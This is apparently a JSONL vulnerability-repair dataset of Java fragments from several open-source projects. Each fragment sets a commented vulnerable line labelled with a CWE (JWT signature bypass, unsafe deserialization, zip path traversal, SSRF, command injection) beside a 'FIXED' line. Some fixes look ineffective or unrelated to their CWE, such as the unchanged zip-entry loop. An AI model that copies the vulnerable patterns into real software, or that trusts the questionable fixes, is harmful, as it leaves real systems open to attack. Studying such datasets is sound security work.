broadcastPacket.setAction(PositionTrackingDBServerBroadcastPacket.Action.NOT_FOUND);\n session.sendUpstreamPacket(broadcastPacket);\n return;\n }\n\n broadcastPacket.setAction(PositionTrackingDBServerBroadcastPacket.Action.UPDATE);\n\n // Build the nbt data for the update\n NbtMapBuilder builder = NbtMap.builder();\n builder.putInt(\"dim\", DimensionUtils.javaToBedrock(pos.getDimension()));\n builder.putString(\"id\", String.format(\"%08X\", packet.getTrackingId()));\n\n builder.putByte(\"version\", (byte) 1); // Not sure what this is for\n builder.putByte(\"status\", (byte) 0); // Not sure what this is for\n\n //<|endoftext|>"} +{"language": "java", "text": "rg.apache.commons.codec.binary.Base64;\nimport org.jose4j.keys.RsaKeyUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Profile;\nimport org.springframework.stereotype.Component;\n\nimport java.io.IOException;\nimport java.security.PublicKey;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * Created by suat on 02-Sep-19.\n */\n@Component\n@Profile(\"!test\")\npublic class ValidationUtil implements IValidationUtil {\n private static final Logger logger = LoggerFactory.getLogger(ValidationUtil.class);\n\n @Value(\"${nimble.keycloak.public-key}\")\n private String keycloakPublicKey;\n\n public Claims validateToken(String token) throws AuthenticationException {\n try {\n RsaKeyUtil rsaKeyUtil = new RsaKeyUtil();\n PublicKey publicKey = rsaKeyUtil.fromPemEncoded(keycloakPublicKey);\n // BUG: CWE-290 Authentication Bypass by Spoofing\n // return (Claims) Jwts.parser().setSigningKey(publicKey).parse(token.replace(\"Bearer \", \"\")).getBody();\n // FIXED: \n return Jwts.parser().setSigningKey(publicKey).parseJws(token.replace(\"Bearer \", \"\")).getBody();\n } catch (Exception e){\n throw new AuthenticationException(String.format(\"Failed to check user authorization for token: %s\", token), e);\n }\n }\n\n public boolean validateRole(String token,List userRoles, NimbleRole[] requiredRoles) {\n for (NimbleRole requiredRole : requiredRoles) {\n for (String userRole : userRoles) {\n if (userRole.contentEquals(requiredRole.getName())) {\n return true;\n }\n }\n }\n logger.warn(\"Token: {} does not include one of the roles: {}\",token,\n Arrays.asList(requiredRoles).stream().map(role -> role.getName()).collect(Collectors.joining(\", \",\"[\",\"]\")));\n return false;\n }\n\n public Claims getClaims(String token) throws AuthenticationException {\n try {\n String[] split_string = token.split(\"\\\\.\");\n String base64EncodedBody = split_string[1];\n\n Base64 base64Url = new Base64(true);\n String body = new String(base64Url.decode(base64EncodedBody));\n\n Ma<|endoftext|>"} +{"language": "java", "text": "d = (Date) binding.getValue(elContext);\n\t\t\tif (null != modified) {\n\t\t\t\treturn modified;\n\t\t\t}\n\t\t}\n\t\t}\n\t\treturn super.getLastModified(resourceContext);\n\t}\n\t\n\t\n\t@Override\n\tpublic long getExpired(ResourceContext resourceContext) {\n\t\tUriData data = (UriData) restoreData(resourceContext);\n\t\tFacesContext facesContext = FacesContext.getCurrentInstance();\n\t\tif (null != data && null != facesContext ) {\n\t\t\t// Send headers\n\t\t\tELContext elContext = facesContext.getELContext();\n\t\t\tif(data.expires != null){\n\t\t\tValueExpression binding = (ValueExpression) UIComponentBase.restoreAttachedState(facesContext,data.expires);\n\t\t\tDate expires = (Date) binding.getValue(elContext);\n\t\t\tif (null != expires) {\n\t\t\t\treturn expires.getTime()-System.currentTimeMillis();\n\t\t\t}\n\t\t}\n\t\t}\n\t\treturn super.getExpired(resourceContext);\n\t}\n\t/* (non-Javadoc)\n\t * @see org.ajax4jsf.resource.InternetResourceBase#requireFacesContext()\n\t */\n\tpublic boolean requireFacesContext() {\n\t\t// TODO Auto-generated method stub\n\t\treturn true;\n\t}\n\t// BUG: CWE-502 Deserialization of Untrusted Data\n\t// public static class UriData implements Serializable {\n\t// FIXED: \n\tpublic static class UriData implements SerializableResource {\n\n\t\t/**\n\t\t * \n\t\t */\n\t\tprivate static final long serialVersionUID = 1258987L;\n\t\t\n\t\tprivate Object value;\n\t\t\n\t\tprivate Object createContent;\n\t\t\n\t\tprivate Object expires;\n\t\t\n\t\tprivate Object modified;\n\t}\n\n}\n<|endoftext|>"} +{"language": "java", "text": "e;\n\t\t}\n\t}\n\n\tprivate boolean isSame(VFSItem currentTarget, File uploadedFile) {\n\t\tif(currentTarget instanceof LocalImpl) {\n\t\t\tLocalImpl local = (LocalImpl)currentTarget;\n\t\t\tFile currentFile = local.getBasefile();\n\t\t\tif(currentFile.length() == uploadedFile.length()) {\n\t\t\t\ttry {\n\t\t\t\t\treturn org.apache.commons.io.FileUtils.contentEquals(currentFile, uploadedFile);\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tlogError(\"\", e);\n\t\t\t\t\t//do nothing -> return false at the end\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tprivate void processReturnFiles(VFSLeaf target, List rows) {\n\t\tMap assessedIdToRow = new HashMap<>();\n\t\tfor(BulkAssessmentRow row:rows) {\n\t\t\tassessedIdToRow.put(row.getAssessedId(), row);\n\t\t}\n\n\t\tif(target.exists()) {\n\t\t\tFile parentTarget = ((LocalImpl)target).getBasefile().getParentFile();\n\n\t\t\tZipEntry entry;\n\t\t\ttry(InputStream is = target.getInputStream();\n\t\t\t\t\tZipInputStream zis = new ZipInputStream(is)) {\n\t\t\t\tbyte[] b = new byte[FileUtils.BSIZE];\n\t\t\t\t// BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\t\t\t\t// while ((entry = zis.getNextEntry()) != null) {\n\t\t\t\t// FIXED:\n\t\t\t\twhile ((entry = zis.getNextEntry()) != null) {//TODO zip\n\t\t\t\t\tif(!entry.isDirectory()) {\n\t\t\t\t\t\twhile (zis.read(b) > 0) {\n\t\t\t\t\t\t\t//continue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tPath op = new File(parentTarget, entry.getName()).toPath();\n\t\t\t\t\t\tif(!Files.isHidden(op) && !op.toFile().isDirectory()) {\n\t\t\t\t\t\t\tPath parentDir = op.getParent();\n\t\t\t\t\t\t\tString assessedId = parentDir.getFileName().toString();\n\t\t\t\t\t\t\tString filename = op.getFileName().toString();\n\n\t\t\t\t\t\t\tBulkAssessmentRow row;\n\t\t\t\t\t\t\tif(assessedIdToRow.containsKey(assessedId)) {\n\t\t\t\t\t\t\t\trow = assessedIdToRow.get(assessedId);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\trow = new BulkAssessmentRow();\n\t\t\t\t\t\t\t\trow.setAssessedId(assessedId);\n\t\t\t\t\t\t\t\tassessedIdToRow.put(assessedId, row);\n\t\t\t\t\t\t\t\trows.add(row);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif(row.getReturnFiles() == null) {\n\t\t\t\t\t\t\t\trow.setReturnFiles(new ArrayList(2));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\trow.getReturnFiles().add(filename);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(Exception e) {\n\t\t\t\tlogError(\"\", e);\n\t\t\t}\n\t\t}\n\t}\n}<|endoftext|>"} +{"language": "java", "text": ")) {\n doc.setDefaultLanguage(language);\n doc.setLanguage(\"\");\n }\n } else {\n // If the translated doc object is the same as the doc object\n // this means the translated doc did not exists so we need to create it\n if ((tdoc == doc)) {\n tdoc = new XWikiDocument(doc.getDocumentReference());\n tdoc.setLanguage(languagetoedit);\n tdoc.setContent(doc.getContent());\n tdoc.setSyntax(doc.getSyntax());\n tdoc.setAuthor(context.getUser());\n tdoc.setStore(doc.getStore());\n context.put(\"tdoc\", tdoc);\n }\n }\n\n XWikiDocument tdoc2 = tdoc.clone();\n if (content != null && !content.isEmpty()) {\n tdoc2.setContent(content);\n }\n context.put(\"tdoc\", tdoc2);\n try {\n // BUG: CWE-862 Missing Authorization\n // tdoc2.readFromTemplate(peform, context);\n // FIXED: \n readFromTemplate(tdoc2, peform.getTemplate(), context);\n } catch (XWikiException e) {\n if (e.getCode() == XWikiException.ERROR_XWIKI_APP_DOCUMENT_NOT_EMPTY) {\n context.put(\"exception\", e);\n return \"docalreadyexists\";\n }\n }\n\n /* Setup a lock */\n try {\n XWikiLock lock = tdoc.getLock(context);\n if ((lock == null) || (lock.getUserName().equals(context.getUser())) || (peform.isLockForce())) {\n tdoc.setLock(context.getUser(), context);\n }\n } catch (Exception e) {\n // Lock should never make XWiki fail\n // But we should log any related information\n LOGGER.error(\"Exception while setting up lock\", e);\n }\n }\n\n return \"admin\";\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "cheme.REGULAR;\n\n\t\tContext context = new Context();\n\t\tfinal List> maps = new ArrayList>();\n\t\tboolean inComment = false;\n\t\tfor (StringLocated s : lines) {\n\t\t\tString trimmed = s.getTrimmed().getString();\n\n\t\t\tif (trimmed.startsWith(\"/*\") || trimmed.endsWith(\"*/\"))\n\t\t\t\tcontinue;\n\t\t\tif (trimmed.startsWith(\"/'\") || trimmed.endsWith(\"'/\"))\n\t\t\t\tcontinue;\n\n\t\t\tif (trimmed.startsWith(\"/*\") || trimmed.startsWith(\"/'\")) {\n\t\t\t\tinComment = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (trimmed.endsWith(\"*/\") || trimmed.endsWith(\"'/\")) {\n\t\t\t\tinComment = false;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (inComment)\n\t\t\t\tcontinue;\n\n\t\t\tif (trimmed.matches(\"@media.*dark.*\\\\{\")) {\n\t\t\t\tscheme = StyleScheme.DARK;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (trimmed.startsWith(\"--\")) {\n\t\t\t\tvariables.learn(trimmed);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tfinal int x = trimmed.lastIndexOf(\"//\");\n\t\t\tif (x != -1)\n\t\t\t\ttrimmed = trimmed.substring(0, x).trim();\n\n\t\t\tfinal Matcher2 mKeyNames = keyName.matcher(trimmed);\n\t\t\tif (mKeyNames.find()) {\n\t\t\t\t// BUG: CWE-918 Server-Side Request Forgery (SSRF)\n\t\t\t\t// String names = mKeyNames.group(1).replace(\" \", \"\");\n\t\t\t\t// FIXED:\n\t\t\t\tString names = mKeyNames.group(1);\n\t\t\t\tfinal boolean isRecurse = mKeyNames.group(2) != null;\n\t\t\t\tif (isRecurse)\n\t\t\t\t\tnames += \"*\";\n\n\t\t\t\tcontext = context.push(names);\n\t\t\t\tmaps.add(new EnumMap Value>(PName.class));\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tfinal Matcher2 mPropertyAndValue = propertyAndValue.matcher(trimmed);\n\t\t\tif (mPropertyAndValue.find()) {\n\t\t\t\tfinal PName key = PName.getFromName(mPropertyAndValue.group(1), scheme);\n\t\t\t\tfinal String value = variables.value(mPropertyAndValue.group(2));\n\t\t\t\tif (key != null && maps.size() > 0)\n\t\t\t\t\tmaps.get(maps.size() - 1).put(key, //\n\t\t\t\t\t\t\tscheme == StyleScheme.REGULAR ? //\n\t\t\t\t\t\t\t\t\tValueImpl.regular(value, counter) : ValueImpl.dark(value, counter));\n\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tfinal Matcher2 mCloseBracket = closeBracket.matcher(trimmed);\n\t\t\tif (mCloseBracket.find()) {\n\t\t\t\tif (context.size() > 0) {\n\t\t\t\t\tfinal Collection signatures = context.toSignatures();\n\t\t\t\t\tfor (StyleSignatureBasic signature : signatures) {\n\t\t\t\t\t\tMap tmp = maps.get(maps.size() - 1);\n\t\t\t\t\t\tif (signature.isWithDot())\n\t\t\t\t\t\t\ttmp = addPriorityForStereotype(tmp);\n\t\t\t\t\t\tif (tmp.size() > 0) {\n\t\t\t\t\t\t\tfinal Style style = new Style(signature, tmp);\n\t\t<|endoftext|>"} +{"language": "java", "text": ".class,\n\torg.olat.core.util.filter.impl.SimpleHTMLTagsFilterTest.class,\n\torg.olat.core.util.filter.impl.HtmlFilterTest.class,\n\torg.olat.core.util.filter.impl.HtmlMathScannerTest.class,\n\torg.olat.core.util.filter.impl.ConditionalHtmlCommentsFilterTest.class,\n\torg.olat.core.util.filter.impl.XMLValidCharacterFilterTest.class,\n\torg.olat.core.util.filter.impl.XMLValidEntityFilterTest.class,\n\torg.olat.core.helpers.SettingsTest.class,\n\torg.olat.core.util.coordinate.LockEntryTest.class,\n\torg.olat.modules.iq.DBPersistentLockManagerTest.class,\n\torg.olat.core.util.StringHelperTest.class,\n\torg.olat.core.util.FileUtilsTest.class,\n\torg.olat.core.util.FileNameSuffixFilterTest.class,\n\torg.olat.core.util.FormatterTest.class,\n\torg.olat.core.util.FormatLatexFormulasTest.class,\n\torg.olat.core.util.FormatterHourAndSecondsTest.class,\n\torg.olat.core.util.EncoderTest.class,\n\torg.olat.core.util.SimpleHtmlParserTest.class,\n\torg.olat.core.util.IPUtilsTest.class,\n\torg.olat.core.util.IPUtilsValidRangeTest.class,\n\t// BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\t// \n\t// FIXED: \n\torg.olat.core.util.ZipUtilTest.class,\n\torg.olat.core.util.ZipUtilConcatTest.class,\n\torg.olat.core.util.mail.EmailAddressValidatorTest.class,\n\torg.olat.core.util.mail.manager.MailManagerTest.class,\n\torg.olat.core.util.mail.manager.MailUserDataManagerTest.class,\n\torg.olat.core.util.openxml.OpenXmlWorkbookTest.class,\n\torg.olat.core.util.openxml.OpenXMLDocumentTest.class,\n\torg.olat.core.util.pdf.PdfDocumentTest.class,\n\torg.olat.core.util.xml.XMLDigitalSignatureUtilTest.class,\n\torg.olat.core.util.xml.XStreamHelperTest.class,\n\torg.olat.core.configuration.EDConfigurationTest.class,\n\torg.olat.core.id.context.BusinessControlFactoryTest.class,\n\torg.olat.core.id.context.HistoryManagerTest.class,\n\torg.olat.core.id.IdentityEnvironmentTest.class,\n\torg.olat.core.gui.render.VelocityTemplateTest.class,\n\torg.olat.core.gui.control.generic.iframe.IFrameDeliveryMapperTest.class,\n\torg.olat.note.NoteTest.class,\n\torg.olat.user.UserTest.class,\n\torg.olat.user.UserPropertiesTest.class,\n\torg.olat.commons.calendar.CalendarImportTest.class,\n\torg.olat.commons.calendar.CalendarUtilsTest.class,\n\torg.olat.commons.calendar.manager.ImportedCalendarDAOTest.class,\n\torg.olat.commons.calendar.manager.ImportedToCalendarDA<|endoftext|>"} +{"language": "java", "text": "H THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.metadata.Position;\nimport com.github.steveice10.mc.protocol.data.game.world.block.CommandBlockMode;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.window.ClientUpdateCommandBlockMinecartPacket;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.window.ClientUpdateCommandBlockPacket;\nimport com.nukkitx.protocol.bedrock.packet.CommandBlockUpdatePacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n@Translator(packet = CommandBlockUpdatePacket.class)\npublic class BedrockCommandBlockUpdateTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(CommandBlockUpdatePacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, CommandBlockUpdatePacket packet) {\n String command = packet.getCommand();\n boolean outputTracked = packet.isOutputTracked();\n if (packet.isBlock()) {\n CommandBlockMode mode;\n switch (packet.getMode()) {\n case CHAIN: // The green one\n mode = CommandBlockMode.SEQUENCE;\n break;\n case REPEATING: // The purple one\n mode = CommandBlockMode.AUTO;\n break;\n default: // NORMAL, the orange one\n mode = CommandBlockMode.REDSTONE;\n break;\n }\n boolean isConditional = packet.isConditional();\n boolean automatic = !packet.isRedstoneMode(); // Automatic = Always Active option in Java\n ClientUpdateCommandBlockPacket commandBlockPacket = new ClientUpdateCommandBlockPacket(\n new Position(packet.getBlockPosition().getX(), packet.getBlockPosition().getY(), packet.getBlockPosition().getZ()),\n command, mode, outputTracked, isConditional, automatic);\n session.sendDownstre<|endoftext|>"} +{"language": "java", "text": " if (c == '\\r' || c == '\\n') {\n if (c == '\\r') {\n c = fCurrentEntity.read();\n if (c != '\\n') {\n fCurrentEntity.offset--;\n fCurrentEntity.characterOffset_--;\n }\n }\n fCurrentEntity.incLine();\n continue;\n }\n if (c == -1) {\n break;\n }\n if (c != ' ' && c != '\\t') {\n \tfCurrentEntity.rewind();\n break;\n }\n }\n fStringBuffer.clear();\n while (true) {\n int c = fCurrentEntity.read();\n if (c == '?' || c == '/') {\n char c0 = (char)c;\n c = fCurrentEntity.read();\n // BUG: CWE-400 Uncontrolled Resource Consumption\n // if (c == '>') {\n // FIXED: \n if (c == '>' || c == -1) {\n break;\n }\n fStringBuffer.append(c0);\n fCurrentEntity.rewind();\n continue;\n }\n else if (c == '\\r' || c == '\\n') {\n fStringBuffer.append('\\n');\n if (c == '\\r') {\n c = fCurrentEntity.read();\n if (c != '\\n') {\n fCurrentEntity.offset--;\n fCurrentEntity.characterOffset_--;\n }\n }\n fCurrentEntity.incLine();\n continue;\n }\n else if (c == -1) {\n break;\n }\n else {\n appendChar(fStringBuffer, c);\n }\n }\n XMLString data = fStringBuffer;\n if (fDocumentHandler != null) {\n fEndLineNumber = fCurrentEntity.getLineNumber();\n f<|endoftext|>"} +{"language": "java", "text": "nd/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators;\n\nimport org.geysermc.connector.network.session.GeyserSession;\n\npublic abstract class PacketTranslator {\n // BUG: CWE-287 Improper Authentication\n // public abstract void translate(T packet, GeyserSession session);\n // FIXED: \n public abstract void translate(GeyserSession session, T packet);\n\n}\n<|endoftext|>"} +{"language": "java", "text": "NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.java;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.server.ServerAdvancementTabPacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.session.cache.AdvancementsCache;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n/**\n * Indicates that the client should open a particular advancement tab\n */\n@Translator(packet = ServerAdvancementTabPacket.class)\npublic class JavaAdvancementsTabTranslator extends PacketTranslator {\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerAdvancementTabPacket packet, GeyserSession session) {\n // FIXED:\n public void translate(GeyserSession session, ServerAdvancementTabPacket packet) {\n AdvancementsCache advancementsCache = session.getAdvancementsCache();\n advancementsCache.setCurrentAdvancementCategoryId(packet.getTabId());\n advancementsCache.buildAndShowListForm();\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "ce10.mc.protocol.packet.ingame.client.player.ClientPlayerInteractEntityPacket;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerStatePacket;\nimport com.nukkitx.protocol.bedrock.data.entity.EntityData;\nimport com.nukkitx.protocol.bedrock.data.entity.EntityFlag;\nimport com.nukkitx.protocol.bedrock.data.inventory.ContainerType;\nimport com.nukkitx.protocol.bedrock.packet.ContainerOpenPacket;\nimport com.nukkitx.protocol.bedrock.packet.InteractPacket;\nimport org.geysermc.connector.entity.Entity;\nimport org.geysermc.connector.entity.living.animal.horse.AbstractHorseEntity;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.utils.InteractiveTagManager;\n\n@Translator(packet = InteractPacket.class)\npublic class BedrockInteractTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(InteractPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, InteractPacket packet) {\n Entity entity;\n if (packet.getRuntimeEntityId() == session.getPlayerEntity().getGeyserId()) {\n //Player is not in entity cache\n entity = session.getPlayerEntity();\n } else {\n entity = session.getEntityCache().getEntityByGeyserId(packet.getRuntimeEntityId());\n }\n if (entity == null)\n return;\n\n switch (packet.getAction()) {\n case INTERACT:\n if (session.getPlayerInventory().getItemInHand().getJavaId() == session.getItemMappings().getStoredItems().shield().getJavaId()) {\n break;\n }\n ClientPlayerInteractEntityPacket interactPacket = new ClientPlayerInteractEntityPacket((int) entity.getEntityId(),\n InteractAction.INTERACT, Hand.MAIN_HAND, session.isSneaking());\n session.sendDownstreamPacket(interactPacket);\n break;\n case DAMAGE:\n ClientPlayerInteractEntityPacket attackPacket = new ClientPlayerInteractEntityPacket((int) entity.getEntityId(),\n InteractAction.<|endoftext|>"} +{"language": "java", "text": "\n *

\n * Initial code contributed and copyrighted by
\n * frentix GmbH, http://www.frentix.com\n *

\n */\npackage org.olat.admin.landingpages;\n\nimport java.util.ArrayList;\n\nimport org.olat.admin.landingpages.model.Rule;\nimport org.olat.admin.landingpages.model.Rules;\nimport org.olat.core.configuration.AbstractSpringModule;\nimport org.olat.core.util.StringHelper;\nimport org.olat.core.util.coordinate.CoordinatorManager;\nimport org.olat.core.util.xml.XStreamHelper;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.thoughtworks.xstream.XStream;\n\n/**\n * \n * Initial date: 15.05.2014
\n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n *\n */\n@Service(\"landingPagesModule\")\npublic class LandingPagesModule extends AbstractSpringModule {\n\tprivate static final String CONFIG_RULES = \"rules\";\n\tprivate static final XStream rulesXStream;\n\tstatic {\n\t\trulesXStream = XStreamHelper.createXStreamInstance();\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \n\t\t// FIXED: \n\t\tXStreamHelper.allowDefaultPackage(rulesXStream);\n\t\trulesXStream.alias(\"rules\", Rules.class);\n\t\trulesXStream.alias(\"rule\", Rule.class);\n\t}\n\t\n\tprivate Rules rules;\n\t\n\t@Autowired\n\tpublic LandingPagesModule(CoordinatorManager coordinatorManager) {\n\t\tsuper(coordinatorManager);\n\t}\n\n\t@Override\n\tpublic void init() {\n\t\tString rulesObj = getStringPropertyValue(CONFIG_RULES, true);\n\t\tif(StringHelper.containsNonWhitespace(rulesObj)) {\n\t\t\trules = (Rules)rulesXStream.fromXML(rulesObj);\n\t\t} else {\n\t\t\trules = new Rules();\n\t\t\trules.setRules(new ArrayList<>(1));\n\t\t}\n\t}\n\t\n\t@Override\n\tprotected void initDefaultProperties() {\n\t\t//\n\t}\n\n\t@Override\n\tprotected void initFromChangedProperties() {\n\t\tinit();\n\t}\n\t\n\tpublic Rules getRules() {\n\t\treturn rules;\n\t}\n\n\tpublic void setRules(Rules rules) {\n\t\tString value = rulesXStream.toXML(rules);\n\t\tsetStringProperty(CONFIG_RULES, value, true);\n\t}\n}\n<|endoftext|>"} +{"language": "java", "text": "granting tickets. */\n private ProxyGrantingTicketStorage proxyGrantingTicketStorage;\n\n /** Implementation of the proxy retriever. */\n private ProxyRetriever proxyRetriever;\n\n /**\n * Constructs an instance of the CAS 2.0 Service Ticket Validator with the supplied\n * CAS server url prefix.\n *\n * @param casServerUrlPrefix the CAS Server URL prefix.\n * @param urlFactory URL connection factory to use when communicating with the server\n */\n public Cas20ServiceTicketValidator(final String casServerUrlPrefix) {\n super(casServerUrlPrefix);\n this.proxyRetriever = new Cas20ProxyRetriever(casServerUrlPrefix, getEncoding(), getURLConnectionFactory());\n }\n\n /**\n * Adds the pgtUrl to the list of parameters to pass to the CAS server.\n *\n * @param urlParameters the Map containing the existing parameters to send to the server.\n */\n protected final void populateUrlAttributeMap(final Map urlParameters) {\n // BUG: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')\n // urlParameters.put(\"pgtUrl\", encodeUrl(this.proxyCallbackUrl));\n // FIXED: \n urlParameters.put(\"pgtUrl\", this.proxyCallbackUrl);\n }\n\n protected String getUrlSuffix() {\n return \"serviceValidate\";\n }\n\n protected final Assertion parseResponseFromServer(final String response) throws TicketValidationException {\n final String error = XmlUtils.getTextForElement(response, \"authenticationFailure\");\n\n if (CommonUtils.isNotBlank(error)) {\n throw new TicketValidationException(error);\n }\n\n final String principal = XmlUtils.getTextForElement(response, \"user\");\n final String proxyGrantingTicketIou = XmlUtils.getTextForElement(response, \"proxyGrantingTicket\");\n\n final String proxyGrantingTicket;\n if (CommonUtils.isBlank(proxyGrantingTicketIou) || this.proxyGrantingTicketStorage == null) {\n proxyGrantingTicket = null;\n } else {\n proxyGrantingTicket = this.proxyGrantingTicketStorage.retrieve(proxyGrantingTicketIou);\n }\n\n if (CommonUtils.isEmpty(principal)) {\n throw new TicketValidationException(\"No principal was found in the response from the CAS server.\");\n }\n\n final Assertion assertion;\n final Map a<|endoftext|>"} +{"language": "java", "text": "ookies must be concatenated into a single octet string.\n // https://tools.ietf.org/html/rfc7540#section-8.1.2.5\n final CharSequence value = entry.getValue();\n if (aName.equals(HttpHeaderNames.COOKIE)) {\n if (cookieJoiner == null) {\n cookieJoiner = new StringJoiner(COOKIE_SEPARATOR);\n }\n COOKIE_SPLITTER.split(value).forEach(cookieJoiner::add);\n } else {\n out.add(aName, convertHeaderValue(aName, value));\n }\n }\n\n if (cookieJoiner != null && cookieJoiner.length() != 0) {\n out.add(HttpHeaderNames.COOKIE, cookieJoiner.toString());\n }\n }\n\n private static CharSequenceMap toLowercaseMap(Iterator valuesIter,\n int arraySizeHint) {\n final CharSequenceMap result = new CharSequenceMap(arraySizeHint);\n\n while (valuesIter.hasNext()) {\n // BUG: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')\n // final AsciiString lowerCased = HttpHeaderNames.of(valuesIter.next()).toLowerCase();\n // FIXED: \n final AsciiString lowerCased = AsciiString.of(valuesIter.next()).toLowerCase();\n try {\n int index = lowerCased.forEachByte(FIND_COMMA);\n if (index != -1) {\n int start = 0;\n do {\n result.add(lowerCased.subSequence(start, index, false).trim(), EMPTY_STRING);\n start = index + 1;\n } while (start < lowerCased.length() &&\n (index = lowerCased.forEachByte(start,\n lowerCased.length() - start, FIND_COMMA)) != -1);\n result.add(lowerCased.subSequence(start, lowerCased.length(), false).trim(), EMPTY_STRING);\n } else {\n result.add(lowerCased.trim(), EMPTY_STRING);\n }\n } catch (Exception e) {\n // This is not expect to happen because FIND_COMMA never throws but must be caught\n // because of the ByteProcessor interface.\n throw new IllegalStateException(e);\n }\n }\n return result;\n }\n\n /**\n * Filter the {@<|endoftext|>"} +{"language": "java", "text": "@example.com#some-branch\", null);\n hgMaterialConfig.setBranchAttribute(\"branch-in-attribute\");\n\n hgMaterialConfig.validate(new ConfigSaveValidationContext(null));\n\n assertThat(hgMaterialConfig.errors().on(HgMaterialConfig.URL)).isEqualTo(\"Ambiguous branch, must be provided either in URL or as an attribute.\");\n }\n\n @Test\n void rejectsObviouslyWrongURL() {\n assertTrue(validating(hg(\"-url-not-starting-with-an-alphanumeric-character\", \"folder\")).errors().containsKey(HgMaterialConfig.URL));\n assertTrue(validating(hg(\"_url-not-starting-with-an-alphanumeric-character\", \"folder\")).errors().containsKey(HgMaterialConfig.URL));\n assertTrue(validating(hg(\"@url-not-starting-with-an-alphanumeric-character\", \"folder\")).errors().containsKey(HgMaterialConfig.URL));\n\n assertFalse(validating(hg(\"url-starting-with-an-alphanumeric-character\", \"folder\")).errors().containsKey(HgMaterialConfig.URL));\n // BUG: CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')\n // \n // FIXED: \n assertFalse(validating(hg(\"#{url}\", \"folder\")).errors().containsKey(HgMaterialConfig.URL));\n }\n\n private HgMaterialConfig validating(HgMaterialConfig hg) {\n hg.validate(new ConfigSaveValidationContext(null));\n return hg;\n }\n }\n\n @Nested\n class ValidateTree {\n @Test\n void shouldCallValidate() {\n final MaterialConfig materialConfig = spy(hg(\"https://example.repo\", null));\n final ValidationContext validationContext = mockValidationContextForSecretParams();\n\n materialConfig.validateTree(validationContext);\n\n verify(materialConfig).validate(validationContext);\n }\n\n @Test\n void shouldFailIfEncryptedPasswordIsIncorrect() {\n HgMaterialConfig hgMaterialConfig = hg(\"http://example.com\", null);\n 